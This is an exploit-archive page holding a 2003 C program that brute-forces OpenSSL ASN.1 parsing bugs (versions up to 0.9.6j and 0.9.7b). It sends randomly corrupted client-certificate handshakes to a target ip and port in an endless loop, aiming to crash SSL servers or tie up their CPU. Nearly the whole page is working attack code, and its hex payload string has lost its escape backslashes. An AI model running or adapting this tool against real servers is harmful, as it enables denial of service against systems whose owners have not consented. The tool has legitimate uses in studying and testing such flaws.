[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b)
# Published : 2003-10-09
# Author : Bram Matthys
# Previous Title : MS Windows Messenger Service Denial of Service Exploit (MS03-043)
# Next Title : MyServer 0.4.3 DoS


/* Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b)
 * written by Bram Matthys (Syzop) on Oct 9 2003.
 *
 * This program sends corrupt client certificates to the SSL
 * server which will 1) crash it 2) create lots of error messages,
 * and/or 3) result in other "interresting" behavior.
 *
 * I was able to crash my own ssl app in 5-15 attempts,
 * apache-ssl only generated error messages but after several hours
 * some childs went into some kind of eat-all-cpu-loop... so YMMV.
 *
 * It's quite ugly but seems to compile at Linux/FreeBSD.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <string.h>
#include <sys/signal.h>
#include <arpa/nameser.h>
#include <sys/time.h>
#include <time.h>
#include <errno.h>

char buf[8192];

/* This was simply sniffed from an stunnel session */
const char dacrap[] = 
"x16x03x00x02x47x0bx00x02x43x00x02x40x00x02x3dx30x82"
"x02x39x30x82x01xa2xa0x03x02x01x02x02x01x00x30x0dx06"
"x09x2ax86x48x86xf7x0dx01x01x04x05x00x30x57x31x0bx30"
"x09x06x03x55x04x06x13x02x50x4cx31x13x30x11x06x03x55"
"x04x08x13x0ax53x6fx6dx65x2dx53x74x61x74x65x31x1fx30"
"x1dx06x03x55x04x0ax13x16x53x74x75x6ex6ex65x6cx20x44"
"x65x76x65x6cx6fx70x65x72x73x20x4cx74x64x31x12x30x10"
"x06x03x55x04x03x13x09x6cx6fx63x61x6cx68x6fx73x74x30"
"x1ex17x0dx30x33x30x36x31x32x32x33x35x30x34x39x5ax17"
"x0dx30x34x30x36x31x31x32x33x35x30x34x39x5ax30x57x31"
"x0bx30x09x06x03x55x04x06x13x02x50x4cx31x13x30x11x06"
"x03x55x04x08x13x0ax53x6fx6dx65x2dx53x74x61x74x65x31"
"x1fx30x1dx06x03x55x04x0ax13x16x53x74x75x6ex6ex65x6c"
"x20x44x65x76x65x6cx6fx70x65x72x73x20x4cx74x64x31x12"
"x30x10x06x03x55x04x03x13x09x6cx6fx63x61x6cx68x6fx73"
"x74x30x81x9fx30x0dx06x09x2ax86x48x86xf7x0dx01x01x01"
"x05x00x03x81x8dx00x30x81x89x02x81x81x00xe6x95x5cxc0"
"xcbx03x78xf1x1exaax45xb7xa4x10xd0xc1xd5xc3x8cxccxca"
"x17x7bx48x9ax21xf2xfaxc3x25x07x0bxb7x69x17xcax59xf7"
"xdfx67x7bxf1x72xd5x05x61x73xe8x70xbfxb9xfaxc8x4bx03"
"x41x62x71xf9xf5x4ex28xb8x3bxe4x33x76x47xccx1ex04x71"
"xdaxc4x0bx05x46xf4x52x72x99x43x36xf7x37x6dx04x1cx7a"
"xdex2ax0cx45x4axb6x48x33x3axadxecx16xccxe7x99x58xfd"
"xefx4cxc6xddx39x76xb6x50x76x2ax7dxa0x20xeexb4x2cxe0"
"xd2xc9xa1x2ex31x02x03x01x00x01xa3x15x30x13x30x11x06"
"x09x60x86x48x01x86xf8x42x01x01x04x04x03x02x06x40x30"
"x0dx06x09x2ax86x48x86xf7x0dx01x01x04x05x00x03x81x81"
"x00x9fxffxa9x93x70xb9xaex48x47x09xa1x11xbfx01x34xbf"
"x1fx1exedx88x3ex57xe0x37x72x0dxecxc7x21x44x12x99x3a"
"xfaxafx79x57xf4x7fx99x68x37xb1x17x83xd3x51x44xbdx50"
"x67xf8xd6xd0x93x00xbbx53x3dxe2x3dx34xfcxedx60x85xea"
"x67x7fx91xecxfaxe3xd8x78xa2xf4x61xfax77xa3x3fxe4xb1"
"x41x95x47x23x03x1cxbfx2ex40x77x82xefxa0x17x82x85x03"
"x90x35x4ex85x0dx0fx4dxeax16xf5xcex15x21x10xf9x56xd0"
"xa9x08xe5xf9x9dx5cx43x75x33xe2x16x03x00x00x84x10x00"
"x00x80x6exe4x26x03x97xb4x5dx58x70x36x98x31x62xd4xef"
"x7bx4ex53x99xadx72x27xafx05xd4xc9x89xcax04xf1x24xa4"
"xa3x82xb5x89x3ax2ex8fx3fxf3xe1x7ex52x11xb2xf2x29x95"
"xe0xb0xe9x3fx29xafxc1xcdx77x54x6axebxf6x81x6bxd5xd6"
"x0ax3dxc3xffx6fx76x4axf7xc9x61x9fx7bxb3x25xe0x2bx09"
"x53xcfx06x1cx82x9cx48x37xfax71x27x97xecxaex6fx4fx75"
"xb1xa5x84x99xf5xedx8cxbax0fxd5x33x31x61x5dx95x77x65"
"x8dx89x0cx7dxa7xa8x95x5axc7xb8x35x16x03x00x00x86x0f"
"x00x00x82x00x80x78x1dxbdx86xcbx6ex06x88x57x9ex3dx21"
"x7excaxd1x75xffx33xefx48x4dx88x96x84x8cx2fxfbx92x1d"
"x15x28xefxe0xd3x4dx20xe9xaex6cx5cxedx46xc0xefx4exb4"
"xe4xcfxe9x73xb8xd2x8bxe6x5exb9x0cx67xbex17x13x31x3f"
"xe5xe1x9ax2dxfexb4xd6xdbx8fxbcx15x22x10x65xe1xadx5f"
"x00xd0x48x8dx4exa7x08xbdx5cx40x77xb8xa9xbex58xb0x15"
"xd2x4cxc8xa1x79x63x25xebxa1x32x61x3bx49x82xf1x3ax70"
"x80xf8xdcxf7xf9xfcx50xc7xa2x5dxe4x30x8ex09x14x03x00"
"x00x01x01x16x03x00x00x40xfexc2x1fx94x7exf3x0bxd1xe1"
"x5cx27x34x7fx01xe9x51xd3x18x33x9ax99x48x6ex13x6fx82"
"xb2x2cxa5x7bx36x5dx85xf5x17xe3x4fx2ax04x15x2dx0ex2f"
"x2cxf9x1cxf8x9exacxd5x6cx20x81xe5x22x54xf1xe1xd0xfd"
"x64x42xfbx34";

#define CRAPLEN (sizeof(dacrap)-1)


int send_hello()
{
int len;
char *p = buf;
	*p++ = 22;				/* Handshake */
	PUTSHORT(0x0300, p);	/* SSL v3 */
	PUTSHORT(85, p);		/* Length will be 85 bytes */
	
	*p++ = 1;				/* Client hello */

	*p++ = 0;				/* Length: */
	PUTSHORT(81, p);		/* 81 bytes */

	PUTSHORT(0x0300, p);	/* SSL v3 */
	PUTLONG(0xffffffff, p);	/* Random.gmt_unix_time */

	/* Now 28 bytes of random data... (7x4bytes=28) */
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);
	PUTLONG(0x11223344, p);

	*p++ = 0;				/* Session ID 0 */
	
	PUTSHORT(42, p);		/* Cipher Suites Length */
	PUTSHORT(0x16, p);
	PUTSHORT(0x13, p);
	PUTSHORT(0x0a, p);
	PUTSHORT(0x66, p);
	PUTSHORT(0x07, p);
	PUTSHORT(0x05, p);
	PUTSHORT(0x04, p);
	PUTSHORT(0x65, p);
	PUTSHORT(0x64, p);
	PUTSHORT(0x63, p);
	PUTSHORT(0x62, p);
	PUTSHORT(0x61, p);
	PUTSHORT(0x60, p);
	PUTSHORT(0x15, p);
	PUTSHORT(0x12, p);
	PUTSHORT(0x09, p);
	PUTSHORT(0x14, p);
	PUTSHORT(0x11, p);
	PUTSHORT(0x08, p);
	PUTSHORT(0x06, p);
	PUTSHORT(0x03, p);

	*p++ = 1;				/* Compresion method length: 1 */
	*p++ = 0;				/* (null) */

	len = p - buf;
	return len;
}

int send_crap()
{
	memcpy(buf, dacrap, CRAPLEN);
	return CRAPLEN;
}



void corruptor(char *buf, int len)
{
int cb, i, l;

	cb = rand()%15+1; /* bytes to corrupt */

	for (i=0; i < cb; i++)
	{
		l = rand()%len;
		buf[l] = rand()%256;
	}
}

void diffit()
{
int i;
	printf("DIFF:n");
	for (i=0; i < CRAPLEN; i++)
	{
		if (buf[i] != dacrap[i])
			printf("Offset %d: 0x%x -> 0x%xn", i, dacrap[i], buf[i]);
	}
	printf("*****n");
}


int main(int argc, char *argv[])
{
	struct sockaddr_in addr;
	int s, port = 0, first = 1, len;
	char *host = NULL;
	unsigned int seed;
	struct timeval tv;

	printf("OpenSSL ASN.1 brute forcer (Syzop/2003)nn");
	
	if (argc != 3) {
		fprintf(stderr, "Use: %s [ip] [port]n", argv[0]);
		exit(1);
	}

	host = argv[1];
	port = atoi(argv[2]);
	if ((port < 1) || (port > 65535)) {
		fprintf(stderr, "Port out of range (%d)n", port);
		exit(1);
	}

	gettimeofday(&tv, NULL);
	seed = (getpid() ^ tv.tv_sec) + (tv.tv_usec * 1000);

	printf("seed = %un", seed);
	srand(seed);

	memset(&addr, 0, sizeof(addr));


	signal(SIGPIPE, SIG_IGN); /* Ignore SIGPIPE */

while(1)
{

	if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		fprintf(stderr, "Socket error: %sn", strerror(errno));
		exit(EXIT_FAILURE);
	}
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	addr.sin_addr.s_addr = inet_addr(host);
	if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		fprintf(stderr, "Unable to connect: %sn", strerror(errno));
		if (!first)
			diffit();
		exit(EXIT_FAILURE);
	}
	first = 0;
	printf("."); fflush(stdout);

	len = send_hello();
	write(s, buf, len);
	len = send_crap();
	corruptor(buf, len);
	write(s, buf, len);
	usleep(1000); /* wait.. */
	close(s);
}
	
	exit(EXIT_SUCCESS);
}



// www.Syue.com [2004-01-21]